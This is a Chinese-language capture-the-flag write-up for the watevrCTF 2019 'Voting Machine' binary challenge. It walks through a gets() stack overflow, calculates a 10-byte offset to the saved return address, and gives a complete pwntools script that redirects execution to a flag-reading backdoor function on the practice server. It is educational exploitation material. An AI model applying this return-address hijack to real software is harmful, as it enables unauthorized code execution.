[watevrCTF 2019]Voting Machine

本题在线靶场#

https://www.nssctf.cn/problem/85

1. 漏洞分析#

• main函数：
  • 程序使用了 gets(v4);。gets 函数不会检查输入长度，会导致栈溢出漏洞。
  • 局部变量 v4 的定义是 _BYTE v4[2]; // [rsp+Eh] [rbp-2h]。说明 v4 距离 rbp 只有 2 个字节。

• 后门函数：
  • 在函数列表中存在 super_secret_function。
  • 图3显示 super_secret_function 的起始地址为 0x400807。
  • 该函数的逻辑是：fopen("/home/ctf/flag.txt", "r")，然后逐字符读取并打印（使用 fgetc 和 putchar），最后调用 exit(0)。这就是我们需要跳转的目标函数。

2. 计算偏移量#

在 64 位程序中，覆盖返回地址的 Payload 结构如下：

1. 填充 v4 到 rbp：

   • v4 的起始地址**是 rbp - 2。

   • v4 是一个 _BYTE 数组，长度为 2。所以它占用 rbp - 2 和 rbp - 1 这两个字节。

   • 保存的 RBP (Saved RBP) 紧挨着它，位于 [rbp]，占用 8 个字节（64位系统）。

   • 返回地址 (Return Address) 位于 [rbp + 8]，占用 8 个字节。

2. 覆盖 RBP：64位系统 RBP 占 8 字节。

3. 覆盖返回地址（RET）：劫持程序流程，填入后门函数地址 0x400807，占 8 字节。

4. 总填充长度：2 + 8 = 10 字节。

Payload 构造：b'A' * 10 + p64(0x400807)

3.Exploit编写#

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4

5
# 连接靶机
6
p = remote('node5.anna.nssctf.cn', 21871)
7

8
p.recvuntil(b"Vote: ")
9

10
# 正确的 Payload：10字节填充 + 后门地址
11
payload = b'A' * 10             # 2字节v4 + 8字节Saved RBP = 10
12
payload += p64(0x400807)        # 覆盖返回地址为 super_secret_function
13

14
p.sendline(payload)
15
p.interactive()